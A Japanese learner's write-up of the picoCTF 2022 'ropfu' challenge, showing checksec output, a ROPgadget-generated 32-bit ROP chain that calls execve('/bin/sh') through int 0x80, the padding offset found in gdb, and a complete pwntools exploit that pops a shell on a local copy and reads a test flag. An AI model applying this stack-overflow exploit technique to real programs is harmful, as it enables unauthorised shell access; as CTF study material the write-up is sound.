picoCTF 2022 ropfu を勉強した記録


BOFの脆弱性はある。libcは配布されていないので,smashme みたいに スタックでシェルコードを実行するのかな?

セキュリティを確認

# checksec ./vuln
[*] '/home/xxxx/picoctf2022/ropfu/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

NX disabledなのでダメだ。

お手上げ。

他力本願

syscallを使ってROPchainを組めだと。

64ビットなら,syscallは勉強済み

しかし32ビットはわからん。

ctftimeのとおり ROPgadget をやってみる

# ROPgadget --binary ./vuln --ropchain

(中略)

	#!/usr/bin/env python2
	# execve generated by ROPgadget

	from struct import pack

	# Padding goes here
	p = ''

	p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
	p += pack('<I', 0x080e5060) # @ .data
	p += pack('<I', 0x41414141) # padding
	p += pack('<I', 0x080b074a) # pop eax ; ret
	p += '/bin'
	p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
	p += pack('<I', 0x080e5064) # @ .data + 4
	p += pack('<I', 0x41414141) # padding
	p += pack('<I', 0x080b074a) # pop eax ; ret
	p += '//sh'
	p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
	p += pack('<I', 0x080e5068) # @ .data + 8
	p += pack('<I', 0x41414141) # padding
	p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
	p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x08049022) # pop ebx ; ret
	p += pack('<I', 0x080e5060) # @ .data
	p += pack('<I', 0x08049e39) # pop ecx ; ret
	p += pack('<I', 0x080e5068) # @ .data + 8
	p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret    <-- ebx = "/bin/sh"のアドレス
	p += pack('<I', 0x080e5068) # @ .data + 8
	p += pack('<I', 0x080e5060) # padding without overwrite ebx
	p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret
	p += pack('<I', 0x0808055e) # inc eax ; ret     <-- eax = 11
	p += pack('<I', 0x0804a3d2) # int 0x80          <-- syscall

32ビットのexecveの資料,どっかにないか?

execveの32ビットにおけるcall番号は11 なので eax に 11 をセット
ebx に "/bin/sh"のアドレスをセット
ecx と edx には 0x0 をセット
そして
syscall(int 0x80)に飛ばす

Aの数を確認して

   0x08049e25 <+84>:	call   0x8049d95 <vuln>
   0x08049e2a <+89>:	mov    eax,0x0

gdb-peda$ x/60xw $esp
0xffffd3c0:	0xffffd3d0	0x080e62c4	0x00000000	0x08049da5
0xffffd3d0:	0x00414141	0x0806e58a	0x080e5000	0x08049e22
0xffffd3e0:	0x00000000	0x080e5000	0xffffd408	0x08049e2a

Aは 4*7

組んでみる。

splver.py
import pwn
from struct import pack

#io = pwn.remote("saturn.picoctf.net", 55012)
io = pwn.process("./vuln")

ret = io.readuntil("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n")
print(ret)

p = 'A' * 4 * 7

p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5064) # @ .data + 4
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08049022) # pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x08049e39) # pop ecx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080e5060) # padding without overwrite ebx
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0804a3d2) # int 0x80

print(p)

io.send(p)
io.interactive()

ローカルで実行してみる

# python vuln.py 
[+] Starting local process './vuln': pid 2457
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!

AAAAAAAAAAAAAAAAAAAAAAAAAAAAɃ\x05`P\x0eAAAAJ\x0/bin\x91\x05Ƀ\x05dP\x0eAAAAJ\x0//sh\x91\x05Ƀ\x05hP\x0eAAAA\x90��\x05"\x90\x04`P\x0e9\x9e\x04hP\x0eɃ\x05hP\x0e`P\x0e\x90^\x0^\x0^\x0^\x0^\x0^\x0^\x0^\x^\x0^\x0ң\x04
[*] Switching to interactive mode
$ ls
$ ls
flag.txt  peda-session-vuln.txt  vuln  vuln.c  vuln.py
$ cat flag.txt
This is local test flag!!!$  

刺さった。

勉強のためにと思って ROPgadget を一切使わずにやってきたのが仇となり解けなかった。